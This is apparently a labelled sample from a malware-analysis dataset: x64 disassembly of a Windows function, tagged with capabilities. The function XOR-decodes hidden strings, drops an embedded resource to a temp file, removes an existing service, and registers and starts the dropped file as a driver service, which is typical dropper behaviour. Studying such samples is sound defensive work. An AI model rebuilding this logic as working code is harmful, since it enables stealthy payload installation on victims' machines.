Function at 0x14002e5a0
Capabilities:
Create service
Delete service
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Start service
Stop service
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r13
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x14010a718]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, dword [str.jch_nSUXTHZ25B]
xor r15d, r15d
cmp byte [reloc.WLDAP32.dll_Ordinal_60], r15b
mov rdi, rax
mov esi, dword [reloc.WS2_32.dll_accept]
mov eax, Ordinal_33
mov dword [rbp - 0x80], ecx
lea r13d, [rax - 0x1b]
je 0x14002e6d0
cmp esi, 2
jl 0x14002e68c
movdqa xmm3, xmmword [0x1400f7330]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400f74e0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400f74e0]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, eax
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [str.11113333444455557777]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f7470]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400f74b0]
movd xmm0, ecx
xorps xmm2, xmm0
movd dword [rbp - 0x80], xmm2
jmp 0x14002e6d0
lea r9, [rbp - 0x80]
mov r8d, r15d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x39
xor byte [r9 - 1], al
cmp r8d, r13d
jl 0x14002e6a0
mov qword [rsp + 0x210], r12
lea r8, [rbp - 0x80]
mov edx, 0x6a
mov qword [rsp + 0x218], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbx, rax
test rax, rax
je 0x14002eb1d
lea rdx, [rbp - 0x50]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movzx edx, word [0x1400f2b90]
lea r12, [0x14010c0c0]
movzx ecx, byte [0x1400f2b92]
mov r9, r12
movsd xmm0, qword [str.M_VLYLV6_0C]
xor cl, 0x43
movsd qword [rsp + 0x70], xmm0
xor r8d, r8d
xor byte [rsp + 0x71], 0x3a
xor byte [rsp + 0x72], 0x3b
xor byte [rsp + 0x73], 0x3c
xor byte [rsp + 0x74], 0x3d
xor byte [rsp + 0x75], 0x3e
xor byte [rsp + 0x76], 0x3f
xor byte [rsp + 0x77], 0x40
mov word [rsp + 0x78], dx
xor dl, 0x41
xor byte [rsp + 0x79], 0x42
mov byte [rsp + 0x78], dl
lea rdx, [rsp + 0x70]
mov byte [rsp + 0x7a], cl
lea rcx, [rbp - 0x50]
mov byte [rsp + 0x70], reloc.WS2_32.dll_WSACleanup
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x14002eb1d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rdi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x30], r15
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r12
mov edi, eax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002eb1d
lea r9, [rbp - 0x58]
mov qword [rsp + 0x20], r15
mov r8d, edi
mov rdx, r14
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
je 0x14002eb1d
cmp byte [0x1400f2ba1], r15b
movsd xmm0, qword [0x1400f2b98]
movzx ecx, word [0x1400f2ba0]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x78], cx
je 0x14002e87c
xor byte [rsp + 0x71], 0x3a
xor byte [rsp + 0x72], 0x3b
xor byte [rsp + 0x73], 0x3c
xor byte [rsp + 0x74], 0x3d
xor byte [rsp + 0x75], 0x3e
xor byte [rsp + 0x76], 0x3f
xor byte [rsp + 0x77], 0x40
xor byte [rsp + 0x78], 0x41
xor byte [rsp + 0x79], 0x42
mov byte [rsp + 0x70], 0x57
mov r8d, 0xf01ff
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rbx, rax
test rax, rax
je 0x14002e8c4
lea r8, [rbp - 0x78]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x14002eb1d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [0x1400f2bc5], r15b
mov eax, dword [0x1400f2bc0]
movsd xmm0, qword [str.nSUXTHZ25b]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1400f2bc4]
mov word [rbp - 0x6c], ax
movsd qword [rbp - 0x78], xmm0
je 0x14002ea4d
mov ecx, r15d
cmp esi, 2
jl 0x14002ea10
movdqa xmm2, xmmword [0x1400f7330]
mov eax, Ordinal_33
movdqa xmm4, xmmword [0x1400f74e0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400f7340]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x1d0], xmm6
movd xmm6, r13d
movd xmm5, eax
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.11113333444455557777]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.nSUXTHZ25b]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f7470]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400f74b0]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x78], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x1d0]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.11113333444455557777]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x74]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f7470]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400f74b0]
xorps xmm2, xmm0
movd dword [rbp - 0x74], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x78]
add r8, rax
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ecx, 0xe
jl 0x14002ea20
cmp byte [0x1400f2ba1], r15b
movsd xmm0, qword [0x1400f2b98]
movzx eax, word [0x1400f2ba0]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x78], ax
je 0x14002eaa2
xor byte [rsp + 0x71], 0x3a
xor byte [rsp + 0x72], 0x3b
xor byte [rsp + 0x73], 0x3c
xor byte [rsp + 0x74], 0x3d
xor byte [rsp + 0x75], 0x3e
xor byte [rsp + 0x76], 0x3f
xor byte [rsp + 0x77], 0x40
xor byte [rsp + 0x78], 0x41
xor byte [rsp + 0x79], 0x42
mov byte [rsp + 0x70], 0x57
mov qword [rsp + 0x60], r15
lea r8, [rbp - 0x78]
mov qword [rsp + 0x58], r15
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x50], r15
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x48], r15
mov rcx, rdi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
je 0x14002eb1d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x14002eb1d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, 1
jmp 0x14002eb1f
xor al, al
mov r14, qword [rsp + 0x218]
mov r12, qword [rsp + 0x210]
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.1400bd610
mov rbx, qword [rsp + 0x220]
add rsp, 0x1e0
pop r15
pop r13
pop rdi
pop rsi
pop rbp
ret